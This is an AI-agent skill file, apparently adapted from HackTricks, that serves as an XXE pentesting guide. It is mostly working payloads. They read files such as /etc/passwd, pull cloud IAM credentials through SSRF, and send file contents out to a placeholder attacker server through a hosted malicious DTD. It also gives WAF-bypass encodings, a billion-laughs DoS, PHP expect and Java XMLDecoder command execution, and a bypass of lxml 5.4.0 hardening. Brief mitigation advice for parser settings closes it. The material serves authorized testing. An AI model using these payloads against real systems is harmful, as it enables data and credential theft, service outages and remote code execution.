Hacktricks-skills xxe-pentest

XML External Entity (XXE) vulnerability testing and exploitation. Use this skill whenever the user mentions XXE, XML parsing, XML injection, file upload vulnerabilities with XML formats (SVG, DOCX, XLIFF, RSS), or needs to test for XML-based attacks including file read, SSRF, blind XXE, error-based XXE, or WAF bypasses. Also use when analyzing XML parsers in Java, Python lxml, PHP, or any application that processes XML input.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xxe-xee-xml-external-entity/SKILL.MD
source content

XXE Pentest Skill

A comprehensive guide for testing and exploiting XML External Entity (XXE) vulnerabilities.

Quick Start

  1. Identify XML input points - Look for XML parsers, file uploads (SVG, DOCX, XLIFF, RSS), SOAP endpoints, or any XML processing
  2. Test basic XXE - Start with simple entity injection
  3. Escalate - Try file read, SSRF, blind techniques, or error-based exfiltration
  4. Bypass protections - Use encoding, protocol tricks, or parameter entities

Detection & Initial Testing

Basic XXE Test

Test if entity declarations are processed:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
    <productId>&toreplace;</productId>
    <storeId>1</storeId>
</stockCheck>

If the response shows

3
instead of the original value, XXE is likely possible.

Parameter Entity Detection

When standard entities are blocked, try parameter entities for out-of-band detection:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net">
  %xxe; 
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Monitor for DNS/HTTP callbacks to confirm vulnerability.

File Reading Attacks

Direct File Read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

File Protocol Variations

<!-- Standard file:// -->
<!ENTITY example SYSTEM "file:///etc/passwd">

<!-- Windows -->
<!ENTITY example SYSTEM "file:///C:/windows/system32/drivers/etc/hosts">

<!-- With ELEMENT declaration -->
<!DOCTYPE data [
  <!ELEMENT stockCheck ANY>
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
    <productId>&file;</productId>
    <storeId>1</storeId>
</stockCheck>

PHP Filter Wrapper

For PHP applications, use base64 encoding to extract files:

<!DOCTYPE replace [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>

Extract source code:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">

Directory Listing (Java)

<!-- Root directory -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa[
  <!ELEMENT bb ANY>
  <!ENTITY xxe SYSTEM "file:///"
]>
<root><foo>&xxe;</foo></root>

<!-- Specific directory -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "file:///etc/" 
]>
<root><foo>&xxe;</foo></root>

SSRF & Out-of-Band Attacks

Cloud Metadata SSRF

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> 
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF with Parameter Entities

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net">
  %xxe; 
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Out-of-Band Data Exfiltration

Host a malicious DTD at

http://YOUR-SERVER.com/malicious.dtd
:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://YOUR-SERVER.com/?x=%file;'>">
%eval;
%exfiltrate;

Then send:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd">
  %xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Error-Based XXE

External DTD Error-Based

Host malicious DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Send payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd">
  %xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

The error message will contain the file contents.

System DTD Error-Based (No Outbound)

When external connections are blocked, use local DTDs:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
  '>
  %local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Finding Local DTDs

Common DTD paths to try:

  • /usr/share/yelp/dtd/docbookx.dtd
  • /usr/local/app/schema.dtd
  • /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd

Use

dtd-finder
tool on Docker images to discover DTDs:

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/docker-image.tar

Format-Specific Attacks

SVG File Upload

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
  <image xlink:href="file:///etc/hostname"></image>
</svg>

Command execution via PHP expect:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
  <image xlink:href="expect://ls"></image>
</svg>

XLIFF Upload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
  <!ENTITY % remote SYSTEM "http://YOUR-COLLABORATOR.net/?xxe_test"> 
  %remote; 
]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>

RSS Feed

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ 
  <!ELEMENT title ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>&xxe;</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
  </channel>
</rss>

Office Documents (DOCX/XLSX)

  1. Unzip the document
  2. Edit
    word/document.xml
    or
    xl/sharedStrings.xml
  3. Insert XXE payload between root elements
  4. Rezip and upload

XInclude

When you can't control DOCTYPE:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

SOAP

<soap:Body>
  <foo><![CDATA[
    <!DOCTYPE doc [
      <!ENTITY % dtd SYSTEM "http://YOUR-IP:22/">
      %dtd;
    ]>
    <xxx/>
  ]]></foo>
</soap:Body>

WAF & Protection Bypasses

Base64 Encoding

<!DOCTYPE test [ 
  <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> 
  %init; 
]>
<foo/>

UTF-7 Encoding

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://YOUR-IP:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

HTML Entity Encoding

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >
  %a;
  %dtd;
]>
<data><env>&exfil;</env></data>

Jar Protocol (Java)

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "jar:http://YOUR-IP:8080/evil.zip!/evil.dtd">
]>
<foo>&xxe;</foo>

Content-Type Switching

Change from JSON to XML:

Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [
  <!ENTITY xxe SYSTEM "http://YOUR-IP:8000/TEST.ext" >
]>
<root>
  <root>
    <firstName>&xxe;</firstName>
  </root>
</root>

DoS Attacks

Billion Laugh Attack

<!DOCTYPE data [
  <!ENTITY a0 "dos" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Java XMLDecoder RCE

Runtime.exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <array class="java.lang.String" length="6">
        <void index="0"><string>/bin/sh</string></void>
        <void index="1"><string>-c</string></void>
        <void index="2"><string>YOUR-COMMAND</string></void>
      </array>
    </void>
  </object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0"><string>/bin/sh</string></void>
      <void index="1"><string>-c</string></void>
      <void index="2"><string>YOUR-COMMAND</string></void>
    </array>
    <void method="start" id="process"/>
  </void>
</java>

Python lxml Exploitation

Error-Based File Disclosure (lxml < 5.4.0)

<!DOCTYPE colors [
  <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
  <!ENTITY % config_hex '
    <!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
  %eval;'>
  %local_dtd;
]>

Bypassing lxml 5.4.0 Hardening

<!DOCTYPE colors [
  <!ENTITY % a '
    <!ENTITY % file SYSTEM "file:///tmp/flag.txt">
    <!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
  '>
  %a; %b;
]>
<colors>&c;</colors>

Mitigation Guidance

Java DocumentBuilderFactory

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

Python lxml

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, load_dtd=False)

General Recommendations

  1. Disable DOCTYPE declarations entirely
  2. Disable external entity resolution
  3. Use secure processing mode
  4. Avoid returning raw parser errors to users
  5. Validate and sanitize all XML input
  6. Upgrade libraries (lxml ≥ 5.4.0, libxml2 ≥ 2.13.8)

Tools

References